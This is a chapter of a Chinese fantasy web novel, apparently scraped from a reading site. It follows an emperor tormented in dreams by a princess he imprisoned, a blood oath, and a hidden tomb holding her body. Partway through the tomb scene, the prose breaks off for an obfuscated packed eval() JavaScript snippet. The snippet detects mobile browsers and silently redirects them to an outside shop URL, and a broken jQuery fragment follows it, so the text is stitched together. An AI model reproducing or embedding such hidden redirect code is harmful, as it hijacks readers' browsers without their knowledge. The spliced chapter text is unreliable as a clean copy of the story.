文趣网 > 其他小说 > 昭明月 > 27. 第 27 章
    收到宫中的通传,葛戾山快马加鞭进宫,到达宫门时天还未亮,有少数官员还在宫门候朝。

    其中便有陈朔。

    他一眼便认出葛戾山的马车,侧首对一旁站着的陈峥说:“今日又要免朝了。”

    陈峥侧目看向那车。

    “他近日进宫的次数过于频繁了。”

    陈峥分管的卫所负责皇城的巡查,可以查到宫门出入的名录,前不久,他誊抄了一份给李望舒。

    李望舒破阵之前,葛戾山每月最后一日傍晚进宫,初一清晨出宫,这个频率已经维持多年。

    自李望舒破阵一事发生后,他入宫频次陡然激增,单这一周,他便已两度深夜入宫

    “我走了。”

    未等陈峥反应过来,身旁的陈朔转身便要走。

    陈峥伸手将他一把抓住,瞪视着他。

    “还未有旨意你怎就要走。”

    陈朔无语地瞥他一眼说:“迟早的事,我要回了。”

    葛戾山突然进宫,昨夜李望舒定是与李承渊在梦中相遇了。

    此刻他归心似箭,扫开陈峥抓着自己的手,便朝马房走。

    陈峥正要上前阻拦,身侧陈珩悄悄用手肘撞了撞他。他余光一扫,只见周遭几名官员正好奇侧目打量二人,只得按捺住心思,不再上前挽留。

    另一边,葛戾山步入紫宸殿时,李承渊一身常服,闭目斜倚在炕座上。

    听见葛戾山入内请安的声响,他才缓缓掀开眼帘,眼下乌青,眼底是浓得化不开的疲惫。

    李承渊微微抬颌,葛戾山便心领神会地坐到他身旁。

    “我昨夜又梦见她了。”李承渊手上摩挲着玉佩,声音闷闷的。

    半夜急召他进宫,葛戾山心中早有预料,他拱手回答:“恐怕是陛下近来忧思过度,神魂不稳,才屡遭入侵。”

    李承渊回想着梦中的情况摇头:“此次跟以往不一样。不是她来了。”

    葛戾山不解,皱眉看着李承渊。

    “这次是我到了她的梦里。”

    “陛下何出此言?”

    “梦里出现了许多朕全然没有印象的事物,仿佛回到当年。”李承渊目光沉重,正色望向葛戾山。

    当年未曾镇压李望舒的神魂时,她也是每夜入梦。

    彼时他被李望舒重创右眼,侥幸保住性命,夜夜遭她于梦中索命折磨,心神几近耗竭,最后由葛戾山施法,将她摄魂,镇于飞庐山上,才得以平息。

    自那以后,他便不再梦见她,只有夜深人静无法入睡时,偶尔想起。

    “她恐怕已经在京城了,她非但可以将我拉入梦境,还可以操纵梦中的一切,梦中我的处境十分被动。而且……”

    李承渊将手伸到葛戾山面前。

    一条明黄色的丝帕正缠在他的拇指上,他将丝帕解开。

    只是一瞬,葛戾山骤然瞳孔紧缩。

    “陛下!这!”他双手震颤地抓住李承渊的手。

    李承渊右手拇指的指甲断了,他轻轻用力握拳,血珠便咕嘟咕嘟地从甲缝冒出。

    葛戾山脸色惨白,急切地问:“这!这是什么时候弄的!”

    “昨夜梦醒后不小心弄断的,便一直没有愈合。”李承渊用手帕重新将手包好,“你的巫术,会不会已经失效了?”

    葛戾山脸色惨白地摇头,“不可能,如果巫术失效,我的身体不可能没有感应。”他颤抖着从随身的箱子中拿出那个装血的瓷瓶和小刀,将自己的指头划破后,把血滴入瓷瓶之中,随即把瓶子递给李承渊。

    李承渊接过,解开手帕,也往瓶中滴入血液。

    血落入瓷瓶的瞬间,瓶中轻轻颤抖着,发出窸窸窣窣的声音,似是有虫子在里面疯狂爬动。

    许久,瓶子才归于平静,再看李承渊的手指,伤口已经不再流血。

    葛戾山轻舒一口气,心情平复少许。

    葛戾山:“陛下的愈合力大不如前,血誓当真是有动摇!”

    李承渊:“有没有解决的方法?”

    葛戾山:“重新立誓或许可解。”

    “……”

    李承渊扶额沉默许久才说:“你先回吧……朕考虑一下。”

    紫宸殿中,李承渊独坐着,直到晚上,他才起身。

    “备车马。”

    御辇从皇城出发,沿着官道一路东行,最后停在了曾经的邺王府,如今的邺和宫前。

    马车直入潜邸,停在牌楼北侧辇道院。

    李承渊虚扶着徐公公的手从辇轿下来后,乘坐轻步舆,穿过景宁门、护法殿、邺和宫殿,直达行宫正中的长宁殿。

    “朕今夜在长宁殿歇下,不许入内打扰。”

    “是……”徐公公俯身应道。

    近日陛下每日梦魇缠身,或许来行宫便能好好休息。徐公公不疑有他,退下后下令所有人不得靠近。

    等所有人散去,李承渊才走到书架前。

    李承渊伸手扭动着书架上的机关。

    嘎啦嘎啦……

    一阵摩擦的声音响起,书架移动到一侧,显出后面的机关。

    墙上是九个呈九宫格排布、形态各异的龙头。

    李承渊按顺序扭动着,随着最后一个龙头归位,大殿一侧的地砖轰然坠落,一个通往地下的楼梯赫然出现。

    李承渊拿过灯,小心翼翼地顺着楼梯走下。

    通往地底的楼道阴冷干燥,黄色的微光堪堪照到前方几步,李承渊一手扶着墙壁,慢慢地走着。

    终于到达底部,面前还有一道石门。李承渊借着灯光扭动石门的机关。

    咔嗒……

    门后传来开锁的声响。

    沉重的石门缓缓打开,门后一片漆黑。

    李承渊摸索着找到门侧的灯座点燃。

    当第一根灯芯被点燃,地窖内所有的灯瞬间此起彼伏亮起。

    地窖约三丈见方,正中间一个石质圆形地台,地台之上,是一个紫檀棺椁。

    放下手中的灯,李承渊提着衣摆,走上地台,来到棺椁前,他双手抵住棺盖使劲。

    紫檀棺盖并未封死,随着李承渊使劲,正一点一点缓慢挪动。

    很快,沉重的盖子被打开,露出棺中沉睡的人。

    一位少女安安静静仰面躺着,鼻尖有一颗朱砂痣,眉目秀美冷峻,肌肤莹润如雪透着粉嫩,血色均匀浮在颊边、唇瓣,不见一丝尸身该有的青白灰败。

    李承渊站在棺旁久久注视着她

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17682355|207719||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,许久,他才朝她伸出手。

    ……

    另一边,陈府西跨院。

    陈朔正坐在厢房吃饭,李望舒则拿着杂记坐在一旁细读。

    李望舒被困六十年,对如今时下许多事物不甚了解,便让陈朔从各处搜罗了些杂书给她读。

    她手中捧着一册皇家讲史话本,所载乃是百年前两位先帝旧事。

    文皇帝勤政克己、清廉自持,一心体恤万民,经他数年悉心治理,海内安定、百姓丰足,处处皆是太平光景;武皇帝武神降世,一身雄才武略,辅佐文皇帝扫平四方割据、一统山河。兄弟二人同心共济,兄友弟恭,朝野上下无不称颂。

    只是二人尚有一胞妹,封号观月公主。她权欲熏心,暗中谋害文武二帝,她先设计诱武皇帝远赴边疆,暗中布下伏兵欲就地截杀,而后即刻回京发动宫变。屠戮宫禁、谋害文皇帝,妄图篡夺帝位、自立为君。

    幸武皇帝乃是真龙转世,命数未绝,在边境得天神庇佑,转危为安。他连夜率兵折返京师,恰逢观月公主宫变之日,于金銮殿前将其擒获处斩。此后武皇帝登临帝位,励精图治,开创一代长治久安的盛世。

    “……”

    好无聊的书……

    李望舒皱眉,将书合起扔到桌上。

    陈朔见李望舒突然脸色变差,吃饭的动作稍顿,拿起她扔下的书随意翻开。

    他边吃边一目十行地看着,才看了两页,便知道这又是映射长公主的书,他将书页合上扔到一边。

    “胡说八道的,不看了。”

    李望舒手肘撑在桌上,托着腮气鼓鼓的。

    “你之前不是说李承渊给你安这罪名你不难过么?怎的如今又生气了。”

    李望舒瞥他一眼不回应。

    嘴上说说总是简单,听到这种颠倒黑白的说法,心中怎能毫无波澜?李承渊这般叛臣逆贼,竟也配称作“武皇帝”,简直荒唐可笑。李望舒心底暗自嗤冷。

    李承渊武艺卓绝、勇冠三军,心性却十分多疑,遇事优柔寡断。昔年对燕交战之际,他数次迟疑观望,屡屡贻误军机,若非自己与薛将军多次相助,他早就损兵折将葬身异国。

    当年若不是她同薛将军联手重创燕国,令其大伤元气,后续又有陈家猛将镇守四方,凭他李承渊,怎会稳坐六十年锦绣江山?

    回想到情急之处,李望舒按捺不住,猛地攥紧双拳,重重捶在桌案之上。

    桌上碗筷被震得一抖,陈朔目光也忍不住看向李望舒。

    突然。

    “!”

    方才还捶胸顿足的李望舒突然全身一抖,一手捂着脸,惊讶地看着陈朔。

    陈朔双手还拿着碗筷,骤然见她这般举动,一时怔愣,满脸茫然。

    李望舒只觉一双温热粗粝的手掌轻轻覆上自己脸颊,久久不曾挪开。

    “怎么了?”陈朔连忙放下碗筷,起身到李望舒身边,检查她捂着的脸。

    李望舒也不知,她茫然地看着陈朔。

    “好像有人在摸我的脸……啊!”

    话音未落,她觉得手指一阵刺痛,像是被利刃割破,抬手一看,只见右手不知何时豁开了一个大口,大股鲜血正在流出。

    “!”